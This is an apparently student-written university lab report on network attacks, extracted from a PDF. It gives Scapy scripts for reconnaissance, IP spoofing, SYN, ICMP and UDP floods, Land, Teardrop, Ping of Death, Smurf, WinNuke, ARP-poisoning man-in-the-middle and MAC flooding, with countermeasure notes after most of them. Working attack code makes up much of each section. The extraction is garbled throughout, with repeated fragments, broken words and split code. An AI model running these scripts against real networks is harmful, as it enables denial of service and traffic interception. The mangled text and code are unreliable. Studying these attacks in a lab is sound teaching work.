Network - Altervistanickmontini.altervista.org/resources/attack.pdf · DEPARTMENT OF MASTER DEGREE IN COMPUTER Network UNIVERSITY OF PADOVA INFORMATION ENGINEERING COMPUTER ENGINEERING

DEPARTMENT OF

MASTER DEGREE IN

COMPUTER

Network

UNIVERSITY OF PADOVA

EPARTMENT OF INFORMATION ENGINEERING

ASTER DEGREE IN COMPUTER ENGINEERING

OMPUTER NETWORK MANAGEMENT

Network attacks

Montini Nicola

Academic Year 2010/2011

ANAGEMENT

Giuliani Carlo - 620741 Montini Nicola - 621802


1

Index

1 RECONNAISANCE PHASE............................................................................................................................................................. 2

1.1 Ip Address Sweep .................................................................................................................................................................. 2

1.2 Port Scanning .......................................................................................................................................................................... 3

1.3 Network Reconnaissance using IP Options................................................................................................................ 4

1.4 IP Spoofing ............................................................................................................................................................................... 6

1.4.1 PORT SCANNING WITH IP SPOOFING SCRIPT .................................................................................................... 7

1.4.2 TIMESTAMP OPTION WITH IP SPOOFING SCRIPT ........................................................................................... 7

1.4.3 LOOSE SOURCE ROUTING OPTION WITH IP SPOOFING SCRIPT ................................................................ 7

1.5 Discover the Operating System of the victims .......................................................................................................... 8

1.5.1 SYN & FIN Flags set ......................................................................................................................................................... 8

1.5.2 Only FIN Flag set ............................................................................................................................................................... 9

1.5.3 Only URG ........................................................................................................................................................................... 10

1.5.4 No flag-bit set .................................................................................................................................................................. 11

2 DENIAL OF SERVICE PHASE .................................................................................................................................................... 12

2.1 SYN Flood ............................................................................................................................................................................... 12

2.2 ICMP Flood ............................................................................................................................................................................ 14

2.2.1 Intercept packets and Echo request flood .......................................................................................................... 14

2.2.2 Drop victim communications ................................................................................................................................... 15

2.2.3 ICMP Redirect (Packet Interception) .................................................................................................................... 16

2.3 UDP - Flood ........................................................................................................................................................................... 17

2.4 Land Attack ........................................................................................................................................................................... 18

2.5 Teardrop attack .................................................................................................................................................................. 19

2.6 Ping of death ......................................................................................................................................................................... 20

2.7 Ping broadcast or Smurf .................................................................................................................................................. 21

2.8 Man - in - the - middle Attack or Connection Hijacking ..................................................................................... 22

2.8.1 ARP Poisoning ................................................................................................................................................................ 22

2.8.2 MAC Flooding .................................................................................................................................................................. 24

2.8.3 DNS Spoofing ................................................................................................................................................................... 25

3 NETWORK USED FOR THE ATTACKS .................................................................................................................................. 27


1 RECONNAISANCE PHASE

1.1 Ip Address Sweep

ATTACKER: BackTrack host;

VICTIM: anyone in the same subnet

To do this attack we simply construct an ICMP request message for each possible host of the subnet, i.e. if

the subnet mask is 255.255.255.0 we construct 255 ICMP messages. Note that for every ICMP request

is an ARP request to find the MAC address co

ARP response the ICMP request is sent in broadcast.

Assume the attacker is in the 192.168.134.0/24 subnet;

• SCAPY SCRIPT:

>>> #! /usr/bin/env >>>import time;

>>>from scapy.all import *;>>> >>>target = “192.168.134.1/24”>>>icmp= IP(dst=target)/ICMP()/”12345678”>>>ans, nans = sr(icmp, timeout=k)

with k = 5, 10, 20, 50 ms.

WIRESHARK FILTER:icmp.type == 0.

FIGURE

MEASUREMENTS: We do not propose any kind of measurement because this is not a real attack.

2

RECONNAISANCE PHASE

in the same subnet.


the subnet mask is 255.255.255.0 we construct 255 ICMP messages. Note that for every ICMP request

is an ARP request to find the MAC address corresponding the destination IP. If the attacker does not see any

ARP response the ICMP request is sent in broadcast.

in the 192.168.134.0/24 subnet;

import *;

target = “192.168.134.1/24” ; IP(dst=target)/ICMP()/”12345678” ;

ans, nans = sr(icmp, timeout=k)

icmp.type == 0.

IGURE 1 - IP SWEEP WIRESHARK SCREENSHOT

do not propose any kind of measurement because this is not a real attack.


the subnet mask is 255.255.255.0 we construct 255 ICMP messages. Note that for every ICMP request there

rresponding the destination IP. If the attacker does not see any

do not propose any kind of measurement because this is not a real attack.


1.2 Port Scanning


VICTIM: anyone.

With this kind of attack the attacker sends TCP messages with SYN flag set to 1 to all the possible ports of

the potential victims. If the victim answers with a TCP message on a particular port with the RST flag set to

1 then there is no service listening on that port and the connection is refused. Otherwise, if the response is a

TCP message with SYN and ACK flags set to 1 the

port that we could use for a future attack.

We can exploit the previous attack to send a port scan to the hosts we found active.

192.168.134.101 was found active;

• SCAPY SCRIPT:

>>> #! /usr/bin/env >>> import time;

>>> from scapy.all import *;>>> >>>p_scan = IP(dst="192.168.134.101")/TCP(dport=(0, 64000), fla gs = "S"); >>>ans, nans = sr(p _scan

WIRESHARK FILTER: ip.addr == 192.168.134.101

FIGURE

As we can see from the wireshark screenshot, the active services are:

• Ftp

• Http

• Epmap

• Netbios-ssn

• Microsoft-ds

MEASUREMENTS: There is no significant way of blocking this

it does not cause damage.

3


victims. If the victim answers with a TCP message on a particular port with the RST flag set to


TCP message with SYN and ACK flags set to 1 then the connection is accepted and we discovered an open

port that we could use for a future attack.

We can exploit the previous attack to send a port scan to the hosts we found active.

>>> from scapy.all import *;

IP(dst="192.168.134.101")/TCP(dport=(0, 64000), fla gs =

_scan , timeout = 5);

ip.addr == 192.168.134.101&&tcp.flags.ack == 1 &&tcp.flags.sy

IGURE 2 - PORT SCAN WIRESHARK SCREENSHOT

As we can see from the wireshark screenshot, the active services are:

There is no significant way of blocking this procedure, because it is not a real attack and


victims. If the victim answers with a TCP message on a particular port with the RST flag set to


n the connection is accepted and we discovered an open

We can exploit the previous attack to send a port scan to the hosts we found active. Suppose the host

IP(dst="192.168.134.101")/TCP(dport=(0, 64000), fla gs =

&&tcp.flags.ack == 1 &&tcp.flags.syn == 1

procedure, because it is not a real attack and


1.3 Network Reconnaissance using IP Options

ATTACKER: BackTrack;

VICTIM: a host in another subnet.

In the header of an IP packet we can set th

study in deep all the options. Generally every option field is composed by an Option Type subfield, an

Option Length subfield and the data subfield.

source routing option.

FIGURE 3 - OPTION HEADER

• TIMESTAMP HEADER: with this option set, every time the ip datagram is received by the interface

of a device that reads it, the device puts

interface. This option can be set to trace the route of a datagram to the destination.Therefore

create an ICMP request targeting >>> #! /usr/bin/env >>> import time; >>> from scapy.all import *;>>> >>>icmp=IP(dst= ”192.168.132.101”options=IPOption('\ x44\x00\x00\x00\x00\ x0000\x00\ x00') /ICMP()/ "1234567890">>>ans, nans = sr(icmp); Note the data in the option must be

string is:

o x44 represents the option type,

o x24 represents the length of the whole option field,

o x05 represents the pointer to the first byte of data (relatively to the start byte of the option

field)

o x01 represents overflow option (t

due to lack of space

o the following \x00 bytes are used to initialize the field

that will handle the datagram.

FIGURE 4 - TIMESTAMP HEADER OPTION

4

Network Reconnaissance using IP Options

In the header of an IP packet we can set the IP Options field.Each option has its ow

Generally every option field is composed by an Option Type subfield, an

Option Length subfield and the data subfield. We will focus only on the timestamp option and on the loose

with this option set, every time the ip datagram is received by the interface

that reads it, the device puts in the data field a timestamp and (optionallly)

This option can be set to trace the route of a datagram to the destination.Therefore

create an ICMP request targeting to it with the timestamp option:

>>> from scapy.all import *;

”192.168.132.101” , x44 \x24\x05\x01\x00\x00\x00\x00\ x00

x00 \x00\x00\x00\x00\x00\x00\x00\x00\ x00x00') /ICMP()/ "1234567890" ;

ans, nans = sr(icmp);

Note the data in the option must be put in hexadecimal coding; the meaning of the hexadecimal

x44 represents the option type,

x24 represents the length of the whole option field,

x05 represents the pointer to the first byte of data (relatively to the start byte of the option

x01 represents overflow option (the number of IP modules that cannot register timestamps

due to lack of space) and flags;

x00 bytes are used to initialize the fields that will be filled by the devices

that will handle the datagram.

PTION

Each option has its own format, but we do not

Generally every option field is composed by an Option Type subfield, an

We will focus only on the timestamp option and on the loose

with this option set, every time the ip datagram is received by the interface

in the data field a timestamp and (optionallly) the ip of the

This option can be set to trace the route of a datagram to the destination.Thereforewe

x00 \x00\x00\x00\x00x00 \x00\x00\x00\x

put in hexadecimal coding; the meaning of the hexadecimal

x05 represents the pointer to the first byte of data (relatively to the start byte of the option

he number of IP modules that cannot register timestamps

that will be filled by the devices


5

• LOOSE SOURCE ROUTING HEADER: using source routing on a datagramallows the sender to

decide the route to the destination. This is possible by specifying the ips of the routers that the

datagram has to pass through. The scapy script is the following:

>>> #! /usr/bin/env >>> import time; >>> from scapy.all import *; >>> >>>icmp = IP(dst="192.168.134.1", options=IPOption('\x83\x0F\x04\xC0\xA8\x85\x01\xC0\ xA8\x83\x01\xC0\xA8\x84\x64')) / ICMP() / "1234567890"; >>>ans, nans = sr(icmp); Once again the IPOption data are written in hexadecimal coding:

o x83 represents the option type

o x0F represents the length of the whole options field

o x04 represents the pointer to the first byte of data (relatively to the start byte of the option

field)

o the following bytes represent ips of the routers that the datagram has to pass through.

This kind of procedure can be used to penetrate protected networks.

MEASUREMENTS: to avoid attacks that use IP options routers have the possibility of discarding every kind

of datagram with IP options set.


1.4 IP Spoofing


VICTIM: anyone.

IP Spoofing consists of hiding the identity of the attacker by sending IP datagrams with fictitious source

address. In this way a network administrator can not know who is attacking the network because malicious

datagrams are coming from an IP add

IP Spoofing are basically the same;

scripts. There is only one important difference:

our station, because there is no mac address associated with that fake ip.In this way the victim will not

forward the datagrams to our station. To do this we have to follow a procedure called “ARP

fact we forge ARP responses that tell the victim that the fake ip is associated to our mac address. There are

two scenarios: in the first one the victim is in the same subnet of the attacker

the victim, because the latter will ask who is the fake

victim is in another subnet different from the attacker’s one. In this case we have to ARP

gateway, because this time the latter

• SCAPY SCRIPT:

>>>#! /usr/bin/env >>>fromscapy.all import *;>>> >>>sourceMac = "08:00:27:cc:c2:3d"; # attacker's MAC>>>targetMac ="08:00:27:3e:98:80"; # victim's MAC>>>sourceIP = "192.168.134.56"; # fake IP>>>targetIP = "192.168.134.101"; # victim's IP>>>arp_ pois = Ether(dst=targetMac, src=sourceMac) / ARP(op =2, hwsrc=sourceMac, psrc=sourceIP, hwdst=targetMac, pd st=targetIP);>>>srploop(arp_pois);

WIRESHAR FILTER: not necessary.

FIGURE 5

6



datagrams are coming from an IP address not associated to any alive host. The previous attacks used with

same; namely we just need to specify a fake source address in our scapy

scripts. There is only one important difference: the responses to our fake-source da

, because there is no mac address associated with that fake ip.In this way the victim will not

forward the datagrams to our station. To do this we have to follow a procedure called “ARP

esponses that tell the victim that the fake ip is associated to our mac address. There are

two scenarios: in the first one the victim is in the same subnet of the attacker, so we have to ARP

the victim, because the latter will ask who is the fake ip with an ARP request. In the second scenario the

victim is in another subnet different from the attacker’s one. In this case we have to ARP

the latter will ask who is the fake-ip with the ARP request.

fromscapy.all import *;

sourceMac = "08:00:27:cc:c2:3d"; # attacker's MAC targetMac ="08:00:27:3e:98:80"; # victim's MAC sourceIP = "192.168.134.56"; # fake IP targetIP = "192.168.134.101"; # victim's IP

pois = Ether(dst=targetMac, src=sourceMac) / ARP(op =2, hwsrc=sourceMac, psrc=sourceIP, hwdst=targetMac, pd st=targetIP);

not necessary.

5 - ARP POISONING FOR IP-SPOOFING SCREENSHOT



ress not associated to any alive host. The previous attacks used with

namely we just need to specify a fake source address in our scapy

source datagrams will not reach

, because there is no mac address associated with that fake ip.In this way the victim will not

forward the datagrams to our station. To do this we have to follow a procedure called “ARP - Poisoning”. In

esponses that tell the victim that the fake ip is associated to our mac address. There are

we have to ARP - Poison

ip with an ARP request. In the second scenario the

victim is in another subnet different from the attacker’s one. In this case we have to ARP-Poison the default

ip with the ARP request.

pois = Ether(dst=targetMac, src=sourceMac) / ARP(op =2, hwsrc=sourceMac, psrc=sourceIP, hwdst=targetMac, pd st=targetIP);


7

1.4.1 PORT SCANNING WITH IP SPOOFING SCRIPT >>> #! /usr/bin/env >>> import time;

>>> from scapy.all import *; >>> >>> p_scan = IP(dst="192.168.134.101", src = “192.168.134.56”)/TCP(dport=(0, 64000), flags = "S" ); >>> ans, nans = sr(p_scan, timeout = 5);

1.4.2 TIMESTAMP OPTION WITH IP SPOOFING SCRIPT >>> #! /usr/bin/env >>> import time; >>> from scapy.all import *; >>> >>> icmp=IP(dst=”192.168.132.101”, src = “192.168.1 34.56”, options=IPOption('\x44\x24\x05\x01\x00\x00\x00\x00\ x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0 0\x00\x00\x00\x00\x00\x00\x00') /ICMP()/ "1234567890"; >>> ans, nans = sr(icmp);

1.4.3 LOOSE SOURCE ROUTING OPTION WITH IP SPOOFING SCRIPT >>> #! /usr/bin/env >>> import time; >>> from scapy.all import *; >>> >>> icmp = IP(dst="192.168.134.1",src = “192.168.13 4.56”, options=IPOption('\x83\x0F\x04\xC0\xA8\x85\x01\xC0\ xA8\x83\x01\xC0\xA8\x84\x65')) / ICMP() / "1234567890"; >>> ans, nans = sr(icmp);

REMARK: we do not propose screenshots for these scripts because the only difference is the fake source ip

address of the datagrams.


8

1.5 Discover the Operating System of the victims

1.5.1 SYN & FIN Flags set


VICTIM: anyone (we send packets to two computers with different operating system).

According to the TCP Protocol specification the flags SYN and FIN are not supposed to be set at the same

time within the same message.

If we send a TCP packet with SYN and FIN flags both set to an open port, different operating systems

answer in different ways.

• SCAPY SCRIPT (for target host 192.168.132.101): >>>#! /usr/bin/env >>>fromscapy.all import *; >>> >>>target = "192.168.132.101" >>>sinfin = IP(dst=target) / TCP(dport=139, flags=" SF") >>>ans, nans = sr(sinfin)

WIRESHARK FILTER: tcp.dstport == 139 || tcp.srcport == 139

FIGURE 6 - UBUNTU RESPONSE

FIGURE 7 - WINDOWS RESPONSE

We did not notice any difference in responses between Windows and Linux.

MEASUREMENTS: There aren't countermeasures because this is not a real attack.


9

1.5.2 Only FIN Flag set



According to the TCP Protocol, when FIN-Flag is set, then ACK-Flag is also set.

We send packets with only the FIN Flag set to an open port; different operating systems will response in

different ways.

• SCAPY SCRIPT (for target host 192.168.132.101): >>>#! /usr/bin/env >>>fromscapy.all import *; >>> >>>target = "192.168.132.102"; >>>onlyfin = IP(dst=target) / TCP(dport=150, flags= "F"); >>>ans, nans = sr(onlyfin);




Wenoticed thatLinuxignoresthepackage(it doesn't respond)whileWindowsrespondswithaRST+ACK.

MEASUREMENTS: Therearen'tcountermeasuresbecausethisis nota real attack.


10

1.5.3 Only URG


VICTIM: a Windows client (in our case host 192.168.134.101).

TCP Protocol specifies that the URG Flagis used toindicate that there data in this TCP-segment that the

sender has marked as urgent. The location of the last byte of this urgent data is included within the TCP

header field (16 bit long): “urgent data pointer”.

If an attacker is sending TCP messages with the URGFlag set to a special port ( Port number 139 = Netbios

Port) this leads inmost of the cases to fragment overlapping and the OS of the victim may crash.

We send a packet with only the URG-flag set to port 139 of a Windows client with an already established

connection with a partner. To do this, we make a script where we first establish a connection with the

Windows client on port 139 and then we send the only-URG packet.

Problem: scapy by default uses port 20 as source port. Moreover, our Backtrack operating system doesn't

now that we are trying to make a connection on port 139, and so, when it receives the victim response,

Backtrack answer with a RST+ACK TCP packet, closing the connection. To avoid this problem, we perform

an IP Spoofing.

• SCAPY SCRIPT:

#! /usr/bin/env from scapy.all import *; target="192.168.134.101"; conn_est = IP(dst=target, src="192.168.134.56") / T CP(dport=139, flags = "S"); ackn = 0; seqn = 0; ans, nans = sr(conn_est); for s, r in ans: sequence = r[TCP].seq; seqn = s[TCP].seq; ackn = sequence + 1; conn_est2 = IP(dst=target, src="192.168.134.56") / TCP(dport=139, ack=ackn, seq = seqn+1, flags = "A"); onlyURG = IP(dst=target, src="192.168.134.58") / TC P(dport=139, seq = seqn+1, flags = "U"); send(conn_est2); ans1, nans1 = sr(onlyURG);


FIGURE 10 - WINDOWS VICTIM RESPONSE

MEASUREMENTS: This attackiscalledWinNukeand isoneof theoldestDoS

attack against Microsoftmachines.Microsoft provided apatchagainstthis attack in 1997,thentheattack does

not workagainstanyWindows operating system.In factyoucansee fromthe screenshot abovethatthe

victimdoes not respond.It is therefore notnecessarycountermeasuresagainstthis attack.


11

1.5.4 No flag-bit set



TCP Protocol specification does not allow that No flag-bitsare set. This abnormal situation may lead to

replies which reveal information about the operation system.

To do this attack, we created a script that sends in loop packets with no flag set to an open port of the

victim host. We perform this attack using the IP Spoofing.

• SCAPY SCRIPT:

#! /usr/bin/env from scapy.all import *; target = "192.168.134.101"; source = "192.168.134.56"; #IP Spoofing destPort = 139; noflags = IP(dst=target, src=source) / TCP(dport=de stPort, flags=""); ackn = noflags[TCP].ack; while 1: ans, nans =sr(noflags); for s, r in ans: ackn = 1; seqn = s[TCP].seq + 1; noflags[TCP].ack = ackn; noflags[TCP].seq = seqn;




We noticed that Windows responds with RST + ACK, while Linux is not responding.

MEASUREMENTS: Therearen'tcountermeasuresbecausethisis not a real attack.


12

2 DENIAL OF SERVICE PHASE

2.1 SYN Flood


VICTIM: A web server placed in the subnet 192.168.134.101 (virtually any kind of server that uses TCP

connections);

This attack exploits the behaviour of a server during the three way handshake (used for estabilishing a TCP

connection); every time a server receives a SYN message from some client it allocates some resources such

as memory space for the buffers used for the connection. The target of the attacker is to send many SYN

messages at very short time intervals to the server each one with different src ip addresses (many server

block SYN messages continuously coming from the same ip). In this way the server continues to allocate

resources until it will exhaust them. At this point it will not be able to establish new connections anymore,

so it will appear to remote clients as being crashed or not being able to serve them.

• SCAPY SCRIPT:

>>>#! /usr/bin/env >>>from scapy.all import *; >>> >>>IPSpoofed = "192.169.1.1/16"; >>>target = "192.168.134.101"; >>>destPort = 80; >>>synflood = IP(dst=target, src=IPSpoofed) / TCP(d port=destPort, flags = "S"); >>>while 1: >>> send(synflood);

WIRESHARK FILTER: tcp.flags.syn == 1

FIGURE 6 - SYN FLOOD WIRESHARK SCREENSHOT

Note that we are using ip address of a fake subnet, so the server will forward with SYN + ACK replies to the

default gateway.

MEASUREMENTS: To provide the ability to endure SYN flood attacks, at least temporarily, manufacturers


13

of firewalls and other network security devices have developed a variety of defense methods to incorporate

into their products. Some of the methods currently on the market include:

• SYN threshold: establishes a limit or quota on the number of incomplete connections, and discard SYN

packets if the number of incomplete connections reaches the limit. This is the simplest type of SYN

flood defense, and is implemented in several firewall products.

• SYNDefender: when a SYN packet is received, the firewall synthesizes the final ACK packet in step 3, so

the receiver does not need to wait for the actual ACK packet from the originator. Check Point Software

Technologies, Ltd. developed this technique for its Firewall-1 product.

• SYN proxy: the firewall synthesizes and sends the SYN/ACK packet back to the originator, and waits

for the final ACK packet. After the firewall receives the ACK packet from the originator, the firewall

then “replays” the three-step sequence to the receiver.

• SYN cookies: this method attempts to eliminate the need to store incomplete connection information

by including a package of information, or a “cookie” in the SYN/ACK packet sent by the receiver to the

originator. When the originator responds with the ACK packet, the cookie is returned and the receiver

is able to extract the information needed to rebuild the connection.


14

2.2 ICMP Flood

2.2.1 Intercept packets and Echo request flood


VICTIM: a Windows client in the same subnet of the attacker (host 192.168.134.101);

ICMP messages are usually generated in case of running the well-known utility application PING. The PING

Sender generates an ICMP-Echo Request and expects in return an ICMP Echo Reply from the receiver.

We haveflooded the victimofICMPRequestpackets,in ordertosaturatethebandwidth of the

latter.TogenerateICMP packetsweusedthe following scapy script:

• SCAPY SCRIPT:

#! /usr/bin/env from scapy.all import *; target = "192.168.134.101"; sourceIP = "192.168.134.107"; icmp = IP(dst=target, src=sourceIP) / ICMP() / "123 4567890"; while 1: send(icmp);

WIRESHARK FILTER: icmp

FIGURE 1 - ICMP FLOOD AGAINST A WINDOWS CLIENT

This attack in our case doesn't work, because it is most successful only if the attacker has

more bandwidth than the victim. Indeed, the attacker hopes that the victim will respond with ICMP Echo

Reply packets, thus consuming both outgoing bandwidth as well as incoming bandwidth.

MEASUREMENTS: To avoid ICMP flood, we must use a firewall that drops ICMP Echo Replay packets.

The victim responds

immediately at each

ICMP Echo Request


15

2.2.2 Drop victim communications


VICTIM: a Windows client with a FTP connection established (host 192.168.134.101);

An ICMP message of the type “Destination unreachable” basically indicates that a message cannot be

successfully sent to the destination. As a result of receiving such a message, the receiving host immediately

drops the corresponding connection.

We sent ICMP Destination Unreacheable packets to a Windows client connected to an FTP server. In our

case the Windows client is host 192.168.134.101 and it is connected to FTP server 192.168.132.101.

The script for generating the packets is the following:

• SCAPY SCRIPT:

#! /usr/bin/env from scapy.all import *; dstClient = "192.168.132.101"; dstServer = "192.168.134.101"; icmp_client = IP(dst=dstClient) / ICMP(type=3, code =1) / IP(dst=dstServer, src=dstClient) / "ddddd"; icmp_server = IP(dst=dstServer) / ICMP(type=3, code =1) / IP(dst=dstClient, src=dstServer) / "ddddd"; send(icmp_client); send(icmp_server);


FIGURE 2 - DROP COMMUNICATIONS ATTACK AGAINST A WINDOWS CLIENT

This attack doesn't work.


16

2.2.3 ICMP Redirect (Packet Interception)


VICTIM: a Windows client in our subnet (host 192.168.134.101);

A Router always sends ICMP-Redirect messages to the sender in case the received message contains a

destination address which is placed on the same subnet with the sender. This means, the sender mistakenly

assumed that the destination is outside its own subnet, and for this reason it sends the message to the

router. The host receiving the ICMP-Redirect message from the Router, will reformate its initial message

and direct it to the real address.

We havecreatedpackagesICMPRedirectandwesentthemtoaWindowsclientin ourownsubnet. The scapy

script for making and sending the packets is the following:

• SCAPY SCRIPT:

#! /usr/bin/env from scapy.all import *; dest = "192.168.134.101"; source = "192.168.134.1"; icmp = IP(dst=dest, src=source) / ICMP(type=5, code =0, gw="192.168.134.107") / '\x45\x00\x05\xDC\x10\xC2\x 40\x00'; while 1: send(icmp);

WIRESHARK FILTER: icmp.type==5

FIGURE 3 - ICMP REDIRECT ATTACK AGAINST A WINDOWS CLIENT

This attack doesn't work because by default Windows drops this type of packets.

MEASUREMENTS: To prevent this type of attack we can drop this type of packets, for instance with a

firewall.


17

2.3 UDP - Flood ATTACKER: BackTrack host;

VICTIM: a Windows client (192.168.132.101);

UDP Packets are generated at the transport layer without the need of aso called “3 way handshake”

initiation phase of the connection (as in case of a TCP connection).The receiver, however, has a limited

buffer size for storing thesemessages before they are checked for possible transfer error and transferred to

the application layer.

Wesentat short time intervals UDP messagestoaWindowsclientthatwasdownloadingafilefrom aTFTPserver

(in our case the TFTP Server is host 192.168.134.101). The scapy script we used is the following:

• SCAPY SCRIPT:

#! /usr/bin/env from scapy.all import *; dest = "192.168.132.101"; while 1: destPort = RandShort(); sourcePort = RandShort(); packet = IP(dst=dest) / UDP(dport=destPort, sport =sourcePort); send(packet);

WIRESHARK FILTER: udp && !icmp

FIGURE 4 - GENERATED UDP PACKETS

MEASUREMENTS: This attack doesn't work, because the victim is fast enough to process in time all the

UDP messages generated by the attacker. So there is no need of measurements against this type of attack.


18

2.4 Land Attack



With this attack we created a TCP packet with source address equal to the victim IP address (so the packet

has equal IP source and destination address) and equal destination and source port. After receiving the

packet, the victim will tries to establish a connection with itself and so this packet may lead the victim to a

dead-end loop and his operating system may crash or lock up. The scapy script we used for generating the

packet is the following:

• SCAPY SCRIPT:

#! /usr/bin/env from scapy.all import *; target = "192.168.134.101"; destPort=139; packet= IP(dst=target, src=target) / TCP(dport=dest Port, sport=destPort, flags = "S"); while 1: send(packet);

WIRESHARK FILTER: tcp.flags.syn == 1

This attack works against Windows hosts, in most cases the victim PC crashes.

MEASUREMENTS: There are many measurements that we can adopt in order to prevent this type of attack.

For example, we can install a firewall in the Windows host witch drops all the packets with source address

equals to the destination address. We can also install a protection in routers, dropping in the router all the

packets that can cause a land attack.


19

2.5 Teardrop attack



An Attacker PC sends different sets of IP-Fragments where the Fragment offset fields are overlapping. In

case the fragment fields are overlapping, the receiver is unable to reassemble the fragments. The messages

will be stored at the receivers, and in case the storage resources are exhausted, then the receiver can crash.

The scapy script we used to generating packets is the following:

• SCAPY SCRIPT:

#! /usr/bin/env from scapy.all import *; target = "192.168.134.101" identification = 888; length = 28; offset = 0; while 1: packet = IP(dst=target, flags=1, id=identificatio n, len = 28, frag=offset) / '\x90\x89\x32\x45\x43\x33\x32\x11\x54\x46\x22\x13\ x56\x56\x67\x32'; offset = offset + 1; send(packet);

WIRESHARK FILTER: ip.flags == 1

FIGURE 5 - TEARDROP ATTACK - SNIFF FROM THE ATTACKER.

This attack doesn't work, because packets are dropped by the operating system (the only operating

systems affected by this attack are Windows 3.1, Windows 95 and Windows NT).

MEASUREMENTS: we don't propose any measurement against this attack because they are already

provided by all the modern operating systems.


20

2.6 Ping of death



According to the specification an IP packet cannot exceed a maximum size of 65.535 Bytes including

headers. In case an ICMP-Message of type “Echo Request” contains more than this max. allowed number of

Bytes, the receiver host may crash while trying to reassemble the packet fragments.

So we used a script for generating ICMP Echo Request packets with payload larger than 65.535 bytes and

then we sent packets to the victim. The scapy script we used is the following:

• SCAPY SCRIPT:

#! /usr/bin/env from scapy.all import *; payload = "\x86"; for i in range(66000): payload = payload + "\x86"; death_ping = IP(dst="192.168.134.103", len=65000) / ICMP() / payload; send(death_ping);


FIGURE 6 - PING OF DEATH ATTACK - WIRESHARK FROM THE ATTACKER

This attack doesn't work because early implementations of TCP/IP (since 1998) have fixed this bug.

MEASUREMENTS: we don't propose any measurement against this attack because they are already

provided by all the modern operating systems.


21

2.7 Ping broadcast or Smurf


VICTIM: any host.

If a ping message (ICMP Echo Request ) is sent simultaneously to a number of host they will respond to the

sender with a pong message (ICMP Echo reply). In order to force a larger number of hosts to respond

simultaneously the ping message must be sent to a broadcast address. Therefore we forge many ICMP

requests targeting to a huge amount of different hosts, and we spoof the source address of the requests

with the ip of the victim. The idea behind this attack is to flood the victim with ping responses in order to

prevent it to operate normally, or moreover to lock up it.

• SCAPY SCRIPT: >>>#! /usr/bin/env >>>from scapy.all import *; >>> >>>target1 = "192.168.135.255"; # broadcast to subn et 192.168.135.0 >>>target2 = "192.168.134.255"; # broadcast to subn et 192.168.134.0 >>>target3 = "192.168.133.255"; # broadcast to subn et 192.168.134.0 >>>target4 = "192.168.131.255"; # broadcast to subn et 192.168.134.0 >>> >>>victim = "192.168.132.100"; # victim of the icmp flood >>>icmp1 = IP(src=victim, dst=target1) / ICMP() / " 12345"; >>>icmp2 = IP(src=victim, dst=target2) / ICMP() / " 12345"; >>>icmp3 = IP(src=victim, dst=target3) / ICMP() / " 12345"; >>>icmp4 = IP(src=victim, dst=target4) / ICMP() / " 12345"; >>> >>>while 1: >>> send(icmp1); >>> send(icmp2); >>> send(icmp3); >>> send(icmp4);

WIRESHARK FILTER: ip.src == 192.168.132.100 && icmp

FIGURE 7 - SMURF WIRESHARK CAPTURE SCREENSHOT FROM THE ATTACKER

The attack doesn’t work, because the host’s operative systems blocks every ICMP request sent in broadcast

MEASUREMENTS: as already said, we can block incoming broadcast ICMP packets on the clients of the

network.


22

2.8 Man - in - the - middle Attack or Connection Hijacking

2.8.1 ARP Poisoning



The ARP Protocol is used in order to find out the MAC Address of a station for which the IP-Address is

known. It consist of two steps:

1. ARP-Request: a broadcast message is sent by the station who wants to know the MAC Address

associated with the requested IP

2. ARP-Reply: the station which has the requested IP Address respond with an ARP Reply message

indicating his MAC Address.

The MAC Address obtained is stored in the so called ARP Table and it is used for next communications

between the two hosts.

We created fake ARP Reply messages indicating that the default gateway IP Address was located at our

MAC Address, and we sent those messages to the victim host. In this way, the victim believed that we were

the default gateway. We also created fake ARP Reply messages indicating that the victim IP Address was

located at our MAC Address, and we sent those messages to the default gateway. By this way, the default

gateway believed that we were the victim host. In this way we made a man in the middle attack and we

were able to sniff all the traffic from and to the victim host (for example the HTTP traffic).

The scapy script we used for generating ARP Packets is the following:

• SCAPY SCRIPT:

#! /usr/bin/env from scapy.all import *; sourceMac = "08:00:27:cc:c2:3d"; #targetMac = "08:00:27:3e:98:80"; targetMac ="08:00:27:3e:98:80"; sourceIP = "192.168.134.1"; #fake IP targetIP = "192.168.134.101"; arp_pois = Ether(dst=targetMac, src=sourceMac) / AR P(op=2, hwsrc=sourceMac, psrc=sourceIP, hwdst=targetMac, pd st=targetIP); #srploop(arp_pois); while 1: sendp(arp_pois);

SCAPY SCRIPT FOR POISONING VICTIM ARP TABLE

#! /usr/bin/env from scapy.all import *; sourceMac = "08:00:27:cc:c2:3d"; #targetMac = "08:00:27:3e:98:80"; targetMac ="08:00:27:0a:54:b1";


23

sourceIP = "192.168.134.101"; #fake IP targetIP = "192.168.134.1"; arp_pois = Ether(dst=targetMac, src=sourceMac) / AR P(op=2, hwsrc=sourceMac, psrc=sourceIP, hwdst=targetMac, pd st=targetIP); #srploop(arp_pois); while 1: sendp(arp_pois);

SCAPY SCRIPT FOR POISONING ROUTER ARP TABLE

Finally, we have to foward all packets incoming from and to the victim to the real destination. To do this, we

have to set the IP foward into the attacker host with the following command:

echo 1 > /proc/sys/net/ipv4/ip_forward

WIRESHARK FILTER: arp.opcode == 2

FIGURE 7 - ARP POISONING: WE ARE TELLING THE ROUTER THAT THE VICTIM IP IS LOCATED AT OUR MAC ADDRESS

MEASUREMENTS:A possible defense against ARP poisoning is using static entries in the ARP cache. Static

entries cannot be updated by ARP replies and can be changed only manually by the system administrator.

Such an approach however is not viable for networks with hundreds of hosts because those entries must be

inserted manually on each host. the only other defense that will not modify ARP behavior is detection. IDS

and personal firewalls usually notice the ARP switch and warn the user that the entry in the cache is

changed.


24

2.8.2 MAC Flooding


VICTIM: the switch to which we are connected

Not only stations maintain and use an ARP-table, but also the switches. They need these tables in order to

be able to transfer the traffic to the right port which has in its back the right MAC-Address or MAC-

Addresses of the station or stations connected to this corresponding port. In case a switch receives too

many messages over one port, the switch cannot transfer them to the right ports with the speed they are

coming. In that case the messages will be broadcasted to all ports. This means the switch degrades itself

into a hub. An attacker connected to arbitrary port of the switch will be able to receive all the messages

which are exchanged within the subnet.

The script we use to generate packets and to flood the switch is the following:

• SCAPY SCRIPT:

#! /usr/bin/env from scapy.all import *; randomMac = RandMAC(); targetMac = "08:00:27:0a:54:b1"; sourceIP = RandIP(); targetIP = "192.168.134.1"; flooding = Ether(dst=targetMac, src=randomMac) / AR P(op=2, hwsrc=randomMac, psrc=sourceIP, hwdst=targetMac, pd st=targetIP); while 1: sendp(flooding);

WIRESHARK FILTER: arp.opcode == 2

